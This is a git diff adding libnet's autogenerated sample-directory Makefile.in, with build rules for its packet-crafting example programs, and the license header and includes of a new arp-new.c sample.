+am_icmp_echo_cq_OBJECTS = icmp_echo_cq.$(OBJEXT)
+icmp_echo_cq_OBJECTS = $(am_icmp_echo_cq_OBJECTS)
+icmp_echo_cq_LDADD = $(LDADD)
+icmp_echo_cq_DEPENDENCIES = $(top_srcdir)/src/libnet.a
+icmp_echo_cq_LDFLAGS =
+am_icmp_redirect_OBJECTS = icmp_redirect.$(OBJEXT)
+icmp_redirect_OBJECTS = $(am_icmp_redirect_OBJECTS)
+icmp_redirect_LDADD = $(LDADD)
+icmp_redirect_DEPENDENCIES = $(top_srcdir)/src/libnet.a
+icmp_redirect_LDFLAGS =
+am_icmp_timeexceed_OBJECTS = icmp_timeexceed.$(OBJEXT)
+icmp_timeexceed_OBJECTS = $(am_icmp_timeexceed_OBJECTS)
+icmp_timeexceed_LDADD = $(LDADD)
+icmp_timeexceed_DEPENDENCIES = $(top_srcdir)/src/libnet.a
+icmp_timeexceed_LDFLAGS =
+am_icmp_timestamp_OBJECTS = icmp_timestamp.$(OBJEXT)
+icmp_timestamp_OBJECTS = $(am_icmp_timestamp_OBJECTS)
+icmp_timestamp_LDADD = $(LDADD)
+icmp_timestamp_DEPENDENCIES = $(top_srcdir)/src/libnet.a
+icmp_timestamp_LDFLAGS =
+am_icmp_unreach_OBJECTS = icmp_unreach.$(OBJEXT)
+icmp_unreach_OBJECTS = $(am_icmp_unreach_OBJECTS)
+icmp_unreach_LDADD = $(LDADD)
+icmp_unreach_DEPENDENCIES = $(top_srcdir)/src/libnet.a
+icmp_unreach_LDFLAGS =
+am_ieee_OBJECTS = ieee.$(OBJEXT)
+ieee_OBJECTS = $(am_ieee_OBJECTS)
+ieee_LDADD = $(LDADD)
+ieee_DEPENDENCIES = $(top_srcdir)/src/libnet.a
+ieee_LDFLAGS =
+am_ip_link_OBJECTS = ip_link.$(OBJEXT)
+ip_link_OBJECTS = $(am_ip_link_OBJECTS)
+ip_link_LDADD = $(LDADD)
+ip_link_DEPENDENCIES = $(top_srcdir)/src/libnet.a
+ip_link_LDFLAGS =
+am_ip_raw_OBJECTS = ip_raw.$(OBJEXT)
+ip_raw_OBJECTS = $(am_ip_raw_OBJECTS)
+ip_raw_LDADD = $(LDADD)
+ip_raw_DEPENDENCIES = $(top_srcdir)/src/libnet.a
+ip_raw_LDFLAGS =
+am_isl_OBJECTS = isl.$(OBJEXT)
+isl_OBJECTS = $(am_isl_OBJECTS)
+isl_LDADD = $(LDADD)
+isl_DEPENDENCIES = $(top_srcdir)/src/libnet.a
+isl_LDFLAGS =
+am_mpls_OBJECTS = mpls.$(OBJEXT)
+mpls_OBJECTS = $(am_mpls_OBJECTS)
+mpls_LDADD = $(LDADD)
+mpls_DEPENDENCIES = $(top_srcdir)/src/libnet.a
+mpls_LDFLAGS =
+am_ntp_OBJECTS = ntp.$(OBJEXT)
+ntp_OBJECTS = $(am_ntp_OBJECTS)
+ntp_LDADD = $(LDADD)
+ntp_DEPENDENCIES = $(top_srcdir)/src/libnet.a
+ntp_LDFLAGS =
+am_ospf_hello_OBJECTS = ospf_hello.$(OBJEXT)
+ospf_hello_OBJECTS = $(am_ospf_hello_OBJECTS)
+ospf_hello_LDADD = $(LDADD)
+ospf_hello_DEPENDENCIES = $(top_srcdir)/src/libnet.a
+ospf_hello_LDFLAGS =
+am_ospf_lsa_OBJECTS = ospf_lsa.$(OBJEXT)
+ospf_lsa_OBJECTS = $(am_ospf_lsa_OBJECTS)
+ospf_lsa_LDADD = $(LDADD)
+ospf_lsa_DEPENDENCIES = $(top_srcdir)/src/libnet.a
+ospf_lsa_LDFLAGS =
+am_ping_of_death_OBJECTS = ping_of_death.$(OBJEXT)
+ping_of_death_OBJECTS = $(am_ping_of_death_OBJECTS)
+ping_of_death_LDADD = $(LDADD)
+ping_of_death_DEPENDENCIES = $(top_srcdir)/src/libnet.a
+ping_of_death_LDFLAGS =
+am_rpc_tcp_OBJECTS = rpc_tcp.$(OBJEXT)
+rpc_tcp_OBJECTS = $(am_rpc_tcp_OBJECTS)
+rpc_tcp_LDADD = $(LDADD)
+rpc_tcp_DEPENDENCIES = $(top_srcdir)/src/libnet.a
+rpc_tcp_LDFLAGS =
+am_rpc_udp_OBJECTS = rpc_udp.$(OBJEXT)
+rpc_udp_OBJECTS = $(am_rpc_udp_OBJECTS)
+rpc_udp_LDADD = $(LDADD)
+rpc_udp_DEPENDENCIES = $(top_srcdir)/src/libnet.a
+rpc_udp_LDFLAGS =
+am_sebek_OBJECTS = sebek.$(OBJEXT)
+sebek_OBJECTS = $(am_sebek_OBJECTS)
+sebek_LDADD = $(LDADD)
+sebek_DEPENDENCIES = $(top_srcdir)/src/libnet.a
+sebek_LDFLAGS =
+am_smurf_OBJECTS = smurf.$(OBJEXT)
+smurf_OBJECTS = $(am_smurf_OBJECTS)
+smurf_LDADD = $(LDADD)
+smurf_DEPENDENCIES = $(top_srcdir)/src/libnet.a
+smurf_LDFLAGS =
+am_stp_OBJECTS = stp.$(OBJEXT)
+stp_OBJECTS = $(am_stp_OBJECTS)
+stp_LDADD = $(LDADD)
+stp_DEPENDENCIES = $(top_srcdir)/src/libnet.a
+stp_LDFLAGS =
+am_synflood_OBJECTS = synflood.$(OBJEXT)
+synflood_OBJECTS = $(am_synflood_OBJECTS)
+synflood_LDADD = $(LDADD)
+synflood_DEPENDENCIES = $(top_srcdir)/src/libnet.a
+synflood_LDFLAGS =
+am_synflood6_OBJECTS = synflood6.$(OBJEXT)
+synflood6_OBJECTS = $(am_synflood6_OBJECTS)
+synflood6_LDADD = $(LDADD)
+synflood6_DEPENDENCIES = $(top_srcdir)/src/libnet.a
+synflood6_LDFLAGS =
+am_synflood6_frag_OBJECTS = synflood6_frag.$(OBJEXT)
+synflood6_frag_OBJECTS = $(am_synflood6_frag_OBJECTS)
+synflood6_frag_LDADD = $(LDADD)
+synflood6_frag_DEPENDENCIES = $(top_srcdir)/src/libnet.a
+synflood6_frag_LDFLAGS =
+am_tcp1_OBJECTS = tcp1.$(OBJEXT)
+tcp1_OBJECTS = $(am_tcp1_OBJECTS)
+tcp1_LDADD = $(LDADD)
+tcp1_DEPENDENCIES = $(top_srcdir)/src/libnet.a
+tcp1_LDFLAGS =
+am_tcp2_OBJECTS = tcp2.$(OBJEXT)
+tcp2_OBJECTS = $(am_tcp2_OBJECTS)
+tcp2_LDADD = $(LDADD)
+tcp2_DEPENDENCIES = $(top_srcdir)/src/libnet.a
+tcp2_LDFLAGS =
+am_tftp_OBJECTS = tftp.$(OBJEXT)
+tftp_OBJECTS = $(am_tftp_OBJECTS)
+tftp_LDADD = $(LDADD)
+tftp_DEPENDENCIES = $(top_srcdir)/src/libnet.a
+tftp_LDFLAGS =
+am_tring_tcp1_OBJECTS = tring_tcp1.$(OBJEXT)
+tring_tcp1_OBJECTS = $(am_tring_tcp1_OBJECTS)
+tring_tcp1_LDADD = $(LDADD)
+tring_tcp1_DEPENDENCIES = $(top_srcdir)/src/libnet.a
+tring_tcp1_LDFLAGS =
+am_tring_tcp2_OBJECTS = tring_tcp2.$(OBJEXT)
+tring_tcp2_OBJECTS = $(am_tring_tcp2_OBJECTS)
+tring_tcp2_LDADD = $(LDADD)
+tring_tcp2_DEPENDENCIES = $(top_srcdir)/src/libnet.a
+tring_tcp2_LDFLAGS =
+am_udp1_OBJECTS = udp1.$(OBJEXT)
+udp1_OBJECTS = $(am_udp1_OBJECTS)
+udp1_LDADD = $(LDADD)
+udp1_DEPENDENCIES = $(top_srcdir)/src/libnet.a
+udp1_LDFLAGS =
+am_udp2_OBJECTS = udp2.$(OBJEXT)
+udp2_OBJECTS = $(am_udp2_OBJECTS)
+udp2_LDADD = $(LDADD)
+udp2_DEPENDENCIES = $(top_srcdir)/src/libnet.a
+udp2_LDFLAGS =
+
+DEFS = @DEFS@
+DEFAULT_INCLUDES = -I. -I$(srcdir) -I$(top_builddir)/include
+CPPFLAGS = @CPPFLAGS@
+LDFLAGS = @LDFLAGS@
+LIBS = @LIBS@
+depcomp =
+am__depfiles_maybe =
+COMPILE = $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) \
+ $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS)
+CCLD = $(CC)
+LINK = $(CCLD) $(AM_CFLAGS) $(CFLAGS) $(AM_LDFLAGS) $(LDFLAGS) -o $@
+CFLAGS = @CFLAGS@
+DIST_SOURCES = $(arp_SOURCES) $(bgp4_hdr_SOURCES) \
+ $(bgp4_notification_SOURCES) $(bgp4_open_SOURCES) \
+ $(bgp4_update_SOURCES) $(cdp_SOURCES) $(dhcp_discover_SOURCES) \
+ $(dns_SOURCES) $(dot1x_SOURCES) $(fddi_tcp1_SOURCES) \
+ $(fddi_tcp2_SOURCES) $(get_addr_SOURCES) $(gre_SOURCES) \
+ $(icmp6_echoreq_SOURCES) $(icmp_echo_cq_SOURCES) \
+ $(icmp_redirect_SOURCES) $(icmp_timeexceed_SOURCES) \
+ $(icmp_timestamp_SOURCES) $(icmp_unreach_SOURCES) \
+ $(ieee_SOURCES) $(ip_link_SOURCES) $(ip_raw_SOURCES) \
+ $(isl_SOURCES) $(mpls_SOURCES) $(ntp_SOURCES) \
+ $(ospf_hello_SOURCES) $(ospf_lsa_SOURCES) \
+ $(ping_of_death_SOURCES) $(rpc_tcp_SOURCES) $(rpc_udp_SOURCES) \
+ $(sebek_SOURCES) $(smurf_SOURCES) $(stp_SOURCES) \
+ $(synflood_SOURCES) $(synflood6_SOURCES) \
+ $(synflood6_frag_SOURCES) $(tcp1_SOURCES) $(tcp2_SOURCES) \
+ $(tftp_SOURCES) $(tring_tcp1_SOURCES) $(tring_tcp2_SOURCES) \
+ $(udp1_SOURCES) $(udp2_SOURCES)
+DIST_COMMON = Makefile.am Makefile.in
+SOURCES = $(arp_SOURCES) $(bgp4_hdr_SOURCES) $(bgp4_notification_SOURCES) $(bgp4_open_SOURCES) $(bgp4_update_SOURCES) $(cdp_SOURCES) $(dhcp_discover_SOURCES) $(dns_SOURCES) $(dot1x_SOURCES) $(fddi_tcp1_SOURCES) $(fddi_tcp2_SOURCES) $(get_addr_SOURCES) $(gre_SOURCES) $(icmp6_echoreq_SOURCES) $(icmp_echo_cq_SOURCES) $(icmp_redirect_SOURCES) $(icmp_timeexceed_SOURCES) $(icmp_timestamp_SOURCES) $(icmp_unreach_SOURCES) $(ieee_SOURCES) $(ip_link_SOURCES) $(ip_raw_SOURCES) $(isl_SOURCES) $(mpls_SOURCES) $(ntp_SOURCES) $(ospf_hello_SOURCES) $(ospf_lsa_SOURCES) $(ping_of_death_SOURCES) $(rpc_tcp_SOURCES) $(rpc_udp_SOURCES) $(sebek_SOURCES) $(smurf_SOURCES) $(stp_SOURCES) $(synflood_SOURCES) $(synflood6_SOURCES) $(synflood6_frag_SOURCES) $(tcp1_SOURCES) $(tcp2_SOURCES) $(tftp_SOURCES) $(tring_tcp1_SOURCES) $(tring_tcp2_SOURCES) $(udp1_SOURCES) $(udp2_SOURCES)
+
+all: all-am
+
+.SUFFIXES:
+.SUFFIXES: .c .o .obj
+$(srcdir)/Makefile.in: @MAINTAINER_MODE_TRUE@ Makefile.am $(top_srcdir)/Makefile.am.common $(top_srcdir)/configure.in $(ACLOCAL_M4)
+ cd $(top_srcdir) && \
+ $(AUTOMAKE) --foreign sample/Makefile
+Makefile: @MAINTAINER_MODE_TRUE@ $(srcdir)/Makefile.in $(top_builddir)/config.status
+ cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(am__depfiles_maybe)
+
+clean-noinstPROGRAMS:
+ -test -z "$(noinst_PROGRAMS)" || rm -f $(noinst_PROGRAMS)
+arp$(EXEEXT): $(arp_OBJECTS) $(arp_DEPENDENCIES)
+ @rm -f arp$(EXEEXT)
+ $(LINK) $(arp_LDFLAGS) $(arp_OBJECTS) $(arp_LDADD) $(LIBS)
+bgp4_hdr$(EXEEXT): $(bgp4_hdr_OBJECTS) $(bgp4_hdr_DEPENDENCIES)
+ @rm -f bgp4_hdr$(EXEEXT)
+ $(LINK) $(bgp4_hdr_LDFLAGS) $(bgp4_hdr_OBJECTS) $(bgp4_hdr_LDADD) $(LIBS)
+bgp4_notification$(EXEEXT): $(bgp4_notification_OBJECTS) $(bgp4_notification_DEPENDENCIES)
+ @rm -f bgp4_notification$(EXEEXT)
+ $(LINK) $(bgp4_notification_LDFLAGS) $(bgp4_notification_OBJECTS) $(bgp4_notification_LDADD) $(LIBS)
+bgp4_open$(EXEEXT): $(bgp4_open_OBJECTS) $(bgp4_open_DEPENDENCIES)
+ @rm -f bgp4_open$(EXEEXT)
+ $(LINK) $(bgp4_open_LDFLAGS) $(bgp4_open_OBJECTS) $(bgp4_open_LDADD) $(LIBS)
+bgp4_update$(EXEEXT): $(bgp4_update_OBJECTS) $(bgp4_update_DEPENDENCIES)
+ @rm -f bgp4_update$(EXEEXT)
+ $(LINK) $(bgp4_update_LDFLAGS) $(bgp4_update_OBJECTS) $(bgp4_update_LDADD) $(LIBS)
+cdp$(EXEEXT): $(cdp_OBJECTS) $(cdp_DEPENDENCIES)
+ @rm -f cdp$(EXEEXT)
+ $(LINK) $(cdp_LDFLAGS) $(cdp_OBJECTS) $(cdp_LDADD) $(LIBS)
+dhcp_discover$(EXEEXT): $(dhcp_discover_OBJECTS) $(dhcp_discover_DEPENDENCIES)
+ @rm -f dhcp_discover$(EXEEXT)
+ $(LINK) $(dhcp_discover_LDFLAGS) $(dhcp_discover_OBJECTS) $(dhcp_discover_LDADD) $(LIBS)
+dns$(EXEEXT): $(dns_OBJECTS) $(dns_DEPENDENCIES)
+ @rm -f dns$(EXEEXT)
+ $(LINK) $(dns_LDFLAGS) $(dns_OBJECTS) $(dns_LDADD) $(LIBS)
+dot1x$(EXEEXT): $(dot1x_OBJECTS) $(dot1x_DEPENDENCIES)
+ @rm -f dot1x$(EXEEXT)
+ $(LINK) $(dot1x_LDFLAGS) $(dot1x_OBJECTS) $(dot1x_LDADD) $(LIBS)
+fddi_tcp1$(EXEEXT): $(fddi_tcp1_OBJECTS) $(fddi_tcp1_DEPENDENCIES)
+ @rm -f fddi_tcp1$(EXEEXT)
+ $(LINK) $(fddi_tcp1_LDFLAGS) $(fddi_tcp1_OBJECTS) $(fddi_tcp1_LDADD) $(LIBS)
+fddi_tcp2$(EXEEXT): $(fddi_tcp2_OBJECTS) $(fddi_tcp2_DEPENDENCIES)
+ @rm -f fddi_tcp2$(EXEEXT)
+ $(LINK) $(fddi_tcp2_LDFLAGS) $(fddi_tcp2_OBJECTS) $(fddi_tcp2_LDADD) $(LIBS)
+get_addr$(EXEEXT): $(get_addr_OBJECTS) $(get_addr_DEPENDENCIES)
+ @rm -f get_addr$(EXEEXT)
+ $(LINK) $(get_addr_LDFLAGS) $(get_addr_OBJECTS) $(get_addr_LDADD) $(LIBS)
+gre$(EXEEXT): $(gre_OBJECTS) $(gre_DEPENDENCIES)
+ @rm -f gre$(EXEEXT)
+ $(LINK) $(gre_LDFLAGS) $(gre_OBJECTS) $(gre_LDADD) $(LIBS)
+icmp6_echoreq$(EXEEXT): $(icmp6_echoreq_OBJECTS) $(icmp6_echoreq_DEPENDENCIES)
+ @rm -f icmp6_echoreq$(EXEEXT)
+ $(LINK) $(icmp6_echoreq_LDFLAGS) $(icmp6_echoreq_OBJECTS) $(icmp6_echoreq_LDADD) $(LIBS)
+icmp_echo_cq$(EXEEXT): $(icmp_echo_cq_OBJECTS) $(icmp_echo_cq_DEPENDENCIES)
+ @rm -f icmp_echo_cq$(EXEEXT)
+ $(LINK) $(icmp_echo_cq_LDFLAGS) $(icmp_echo_cq_OBJECTS) $(icmp_echo_cq_LDADD) $(LIBS)
+icmp_redirect$(EXEEXT): $(icmp_redirect_OBJECTS) $(icmp_redirect_DEPENDENCIES)
+ @rm -f icmp_redirect$(EXEEXT)
+ $(LINK) $(icmp_redirect_LDFLAGS) $(icmp_redirect_OBJECTS) $(icmp_redirect_LDADD) $(LIBS)
+icmp_timeexceed$(EXEEXT): $(icmp_timeexceed_OBJECTS) $(icmp_timeexceed_DEPENDENCIES)
+ @rm -f icmp_timeexceed$(EXEEXT)
+ $(LINK) $(icmp_timeexceed_LDFLAGS) $(icmp_timeexceed_OBJECTS) $(icmp_timeexceed_LDADD) $(LIBS)
+icmp_timestamp$(EXEEXT): $(icmp_timestamp_OBJECTS) $(icmp_timestamp_DEPENDENCIES)
+ @rm -f icmp_timestamp$(EXEEXT)
+ $(LINK) $(icmp_timestamp_LDFLAGS) $(icmp_timestamp_OBJECTS) $(icmp_timestamp_LDADD) $(LIBS)
+icmp_unreach$(EXEEXT): $(icmp_unreach_OBJECTS) $(icmp_unreach_DEPENDENCIES)
+ @rm -f icmp_unreach$(EXEEXT)
+ $(LINK) $(icmp_unreach_LDFLAGS) $(icmp_unreach_OBJECTS) $(icmp_unreach_LDADD) $(LIBS)
+ieee$(EXEEXT): $(ieee_OBJECTS) $(ieee_DEPENDENCIES)
+ @rm -f ieee$(EXEEXT)
+ $(LINK) $(ieee_LDFLAGS) $(ieee_OBJECTS) $(ieee_LDADD) $(LIBS)
+ip_link$(EXEEXT): $(ip_link_OBJECTS) $(ip_link_DEPENDENCIES)
+ @rm -f ip_link$(EXEEXT)
+ $(LINK) $(ip_link_LDFLAGS) $(ip_link_OBJECTS) $(ip_link_LDADD) $(LIBS)
+ip_raw$(EXEEXT): $(ip_raw_OBJECTS) $(ip_raw_DEPENDENCIES)
+ @rm -f ip_raw$(EXEEXT)
+ $(LINK) $(ip_raw_LDFLAGS) $(ip_raw_OBJECTS) $(ip_raw_LDADD) $(LIBS)
+isl$(EXEEXT): $(isl_OBJECTS) $(isl_DEPENDENCIES)
+ @rm -f isl$(EXEEXT)
+ $(LINK) $(isl_LDFLAGS) $(isl_OBJECTS) $(isl_LDADD) $(LIBS)
+mpls$(EXEEXT): $(mpls_OBJECTS) $(mpls_DEPENDENCIES)
+ @rm -f mpls$(EXEEXT)
+ $(LINK) $(mpls_LDFLAGS) $(mpls_OBJECTS) $(mpls_LDADD) $(LIBS)
+ntp$(EXEEXT): $(ntp_OBJECTS) $(ntp_DEPENDENCIES)
+ @rm -f ntp$(EXEEXT)
+ $(LINK) $(ntp_LDFLAGS) $(ntp_OBJECTS) $(ntp_LDADD) $(LIBS)
+ospf_hello$(EXEEXT): $(ospf_hello_OBJECTS) $(ospf_hello_DEPENDENCIES)
+ @rm -f ospf_hello$(EXEEXT)
+ $(LINK) $(ospf_hello_LDFLAGS) $(ospf_hello_OBJECTS) $(ospf_hello_LDADD) $(LIBS)
+ospf_lsa$(EXEEXT): $(ospf_lsa_OBJECTS) $(ospf_lsa_DEPENDENCIES)
+ @rm -f ospf_lsa$(EXEEXT)
+ $(LINK) $(ospf_lsa_LDFLAGS) $(ospf_lsa_OBJECTS) $(ospf_lsa_LDADD) $(LIBS)
+ping_of_death$(EXEEXT): $(ping_of_death_OBJECTS) $(ping_of_death_DEPENDENCIES)
+ @rm -f ping_of_death$(EXEEXT)
+ $(LINK) $(ping_of_death_LDFLAGS) $(ping_of_death_OBJECTS) $(ping_of_death_LDADD) $(LIBS)
+rpc_tcp$(EXEEXT): $(rpc_tcp_OBJECTS) $(rpc_tcp_DEPENDENCIES)
+ @rm -f rpc_tcp$(EXEEXT)
+ $(LINK) $(rpc_tcp_LDFLAGS) $(rpc_tcp_OBJECTS) $(rpc_tcp_LDADD) $(LIBS)
+rpc_udp$(EXEEXT): $(rpc_udp_OBJECTS) $(rpc_udp_DEPENDENCIES)
+ @rm -f rpc_udp$(EXEEXT)
+ $(LINK) $(rpc_udp_LDFLAGS) $(rpc_udp_OBJECTS) $(rpc_udp_LDADD) $(LIBS)
+sebek$(EXEEXT): $(sebek_OBJECTS) $(sebek_DEPENDENCIES)
+ @rm -f sebek$(EXEEXT)
+ $(LINK) $(sebek_LDFLAGS) $(sebek_OBJECTS) $(sebek_LDADD) $(LIBS)
+smurf$(EXEEXT): $(smurf_OBJECTS) $(smurf_DEPENDENCIES)
+ @rm -f smurf$(EXEEXT)
+ $(LINK) $(smurf_LDFLAGS) $(smurf_OBJECTS) $(smurf_LDADD) $(LIBS)
+stp$(EXEEXT): $(stp_OBJECTS) $(stp_DEPENDENCIES)
+ @rm -f stp$(EXEEXT)
+ $(LINK) $(stp_LDFLAGS) $(stp_OBJECTS) $(stp_LDADD) $(LIBS)
+synflood$(EXEEXT): $(synflood_OBJECTS) $(synflood_DEPENDENCIES)
+ @rm -f synflood$(EXEEXT)
+ $(LINK) $(synflood_LDFLAGS) $(synflood_OBJECTS) $(synflood_LDADD) $(LIBS)
+synflood6$(EXEEXT): $(synflood6_OBJECTS) $(synflood6_DEPENDENCIES)
+ @rm -f synflood6$(EXEEXT)
+ $(LINK) $(synflood6_LDFLAGS) $(synflood6_OBJECTS) $(synflood6_LDADD) $(LIBS)
+synflood6_frag$(EXEEXT): $(synflood6_frag_OBJECTS) $(synflood6_frag_DEPENDENCIES)
+ @rm -f synflood6_frag$(EXEEXT)
+ $(LINK) $(synflood6_frag_LDFLAGS) $(synflood6_frag_OBJECTS) $(synflood6_frag_LDADD) $(LIBS)
+tcp1$(EXEEXT): $(tcp1_OBJECTS) $(tcp1_DEPENDENCIES)
+ @rm -f tcp1$(EXEEXT)
+ $(LINK) $(tcp1_LDFLAGS) $(tcp1_OBJECTS) $(tcp1_LDADD) $(LIBS)
+tcp2$(EXEEXT): $(tcp2_OBJECTS) $(tcp2_DEPENDENCIES)
+ @rm -f tcp2$(EXEEXT)
+ $(LINK) $(tcp2_LDFLAGS) $(tcp2_OBJECTS) $(tcp2_LDADD) $(LIBS)
+tftp$(EXEEXT): $(tftp_OBJECTS) $(tftp_DEPENDENCIES)
+ @rm -f tftp$(EXEEXT)
+ $(LINK) $(tftp_LDFLAGS) $(tftp_OBJECTS) $(tftp_LDADD) $(LIBS)
+tring_tcp1$(EXEEXT): $(tring_tcp1_OBJECTS) $(tring_tcp1_DEPENDENCIES)
+ @rm -f tring_tcp1$(EXEEXT)
+ $(LINK) $(tring_tcp1_LDFLAGS) $(tring_tcp1_OBJECTS) $(tring_tcp1_LDADD) $(LIBS)
+tring_tcp2$(EXEEXT): $(tring_tcp2_OBJECTS) $(tring_tcp2_DEPENDENCIES)
+ @rm -f tring_tcp2$(EXEEXT)
+ $(LINK) $(tring_tcp2_LDFLAGS) $(tring_tcp2_OBJECTS) $(tring_tcp2_LDADD) $(LIBS)
+udp1$(EXEEXT): $(udp1_OBJECTS) $(udp1_DEPENDENCIES)
+ @rm -f udp1$(EXEEXT)
+ $(LINK) $(udp1_LDFLAGS) $(udp1_OBJECTS) $(udp1_LDADD) $(LIBS)
+udp2$(EXEEXT): $(udp2_OBJECTS) $(udp2_DEPENDENCIES)
+ @rm -f udp2$(EXEEXT)
+ $(LINK) $(udp2_LDFLAGS) $(udp2_OBJECTS) $(udp2_LDADD) $(LIBS)
+
+mostlyclean-compile:
+ -rm -f *.$(OBJEXT) core *.core
+
+distclean-compile:
+ -rm -f *.tab.c
+
+.c.o:
+ $(COMPILE) -c `test -f '$<' || echo '$(srcdir)/'`$<
+
+.c.obj:
+ $(COMPILE) -c `cygpath -w $<`
+uninstall-info-am:
+
+ETAGS = etags
+ETAGSFLAGS =
+
+tags: TAGS
+
+ID: $(HEADERS) $(SOURCES) $(LISP) $(TAGS_FILES)
+ list='$(SOURCES) $(HEADERS) $(LISP) $(TAGS_FILES)'; \
+ unique=`for i in $$list; do \
+ if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \
+ done | \
+ $(AWK) ' { files[$$0] = 1; } \
+ END { for (i in files) print i; }'`; \
+ mkid -fID $$unique
+
+TAGS: $(HEADERS) $(SOURCES) $(TAGS_DEPENDENCIES) \
+ $(TAGS_FILES) $(LISP)
+ tags=; \
+ here=`pwd`; \
+ list='$(SOURCES) $(HEADERS) $(LISP) $(TAGS_FILES)'; \
+ unique=`for i in $$list; do \
+ if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \
+ done | \
+ $(AWK) ' { files[$$0] = 1; } \
+ END { for (i in files) print i; }'`; \
+ test -z "$(ETAGS_ARGS)$$tags$$unique" \
+ || $(ETAGS) $(ETAGSFLAGS) $(AM_ETAGSFLAGS) $(ETAGS_ARGS) \
+ $$tags $$unique
+
+GTAGS:
+ here=`$(am__cd) $(top_builddir) && pwd` \
+ && cd $(top_srcdir) \
+ && gtags -i $(GTAGS_ARGS) $$here
+
+distclean-tags:
+ -rm -f TAGS ID GTAGS GRTAGS GSYMS GPATH
+DISTFILES = $(DIST_COMMON) $(DIST_SOURCES) $(TEXINFOS) $(EXTRA_DIST)
+
+top_distdir = ..
+distdir = $(top_distdir)/$(PACKAGE)-$(VERSION)
+
+distdir: $(DISTFILES)
+ @list='$(DISTFILES)'; for file in $$list; do \
+ if test -f $$file || test -d $$file; then d=.; else d=$(srcdir); fi; \
+ dir=`echo "$$file" | sed -e 's,/[^/]*$$,,'`; \
+ if test "$$dir" != "$$file" && test "$$dir" != "."; then \
+ dir="/$$dir"; \
+ $(mkinstalldirs) "$(distdir)$$dir"; \
+ else \
+ dir=''; \
+ fi; \
+ if test -d $$d/$$file; then \
+ if test -d $(srcdir)/$$file && test $$d != $(srcdir); then \
+ cp -pR $(srcdir)/$$file $(distdir)$$dir || exit 1; \
+ fi; \
+ cp -pR $$d/$$file $(distdir)$$dir || exit 1; \
+ else \
+ test -f $(distdir)/$$file \
+ || cp -p $$d/$$file $(distdir)/$$file \
+ || exit 1; \
+ fi; \
+ done
+check-am: all-am
+check: check-am
+all-am: Makefile $(PROGRAMS)
+
+installdirs:
+
+install: install-am
+install-exec: install-exec-am
+install-data: install-data-am
+uninstall: uninstall-am
+
+install-am: all-am
+ @$(MAKE) $(AM_MAKEFLAGS) install-exec-am install-data-am
+
+installcheck: installcheck-am
+install-strip:
+ $(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM="$(INSTALL_STRIP_PROGRAM)" \
+ INSTALL_STRIP_FLAG=-s \
+ `test -z '$(STRIP)' || \
+ echo "INSTALL_PROGRAM_ENV=STRIPPROG='$(STRIP)'"` install
+mostlyclean-generic:
+
+clean-generic:
+
+distclean-generic:
+ -rm -f Makefile $(CONFIG_CLEAN_FILES)
+ -test -z "$(DISTCLEANFILES)" || rm -f $(DISTCLEANFILES)
+
+maintainer-clean-generic:
+ @echo "This command is intended for maintainers to use"
+ @echo "it deletes files that may require special tools to rebuild."
+clean: clean-am
+
+clean-am: clean-generic clean-noinstPROGRAMS mostlyclean-am
+
+distclean: distclean-am
+
+distclean-am: clean-am distclean-compile distclean-generic \
+ distclean-tags
+
+dvi: dvi-am
+
+dvi-am:
+
+info: info-am
+
+info-am:
+
+install-data-am:
+
+install-exec-am:
+
+install-info: install-info-am
+
+install-man:
+
+installcheck-am:
+
+maintainer-clean: maintainer-clean-am
+
+maintainer-clean-am: distclean-am maintainer-clean-generic
+
+mostlyclean: mostlyclean-am
+
+mostlyclean-am: mostlyclean-compile mostlyclean-generic
+
+uninstall-am: uninstall-info-am
+
+.PHONY: GTAGS all all-am check check-am clean clean-generic \
+ clean-noinstPROGRAMS distclean distclean-compile \
+ distclean-generic distclean-tags distdir dvi dvi-am info \
+ info-am install install-am install-data install-data-am \
+ install-exec install-exec-am install-info install-info-am \
+ install-man install-strip installcheck installcheck-am \
+ installdirs maintainer-clean maintainer-clean-generic \
+ mostlyclean mostlyclean-compile mostlyclean-generic tags \
+ uninstall uninstall-am uninstall-info-am
+
+# Tell versions [3.59,3.63) of GNU make to not export all variables.
+# Otherwise a system limit (for SysV at least) may be exceeded.
+.NOEXPORT:
diff --git a/libnet/sample/arp-new.c b/libnet/sample/arp-new.c
new file mode 100644
index 0000000..24027db
--- /dev/null
+++ b/libnet/sample/arp-new.c
@@ -0,0 +1,144 @@
+/*
+ * $Id: arp.c,v 1.5 2004/01/28 19:45:00 mike Exp $
+ *
+ * libnet 1.1
+ * Build an ARP packet
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#if ((_WIN32) && !(__CYGWIN__))
+#include "../include/win32/config.h"
+#else
+#include "../include/config.h"
+#endif
+#endif
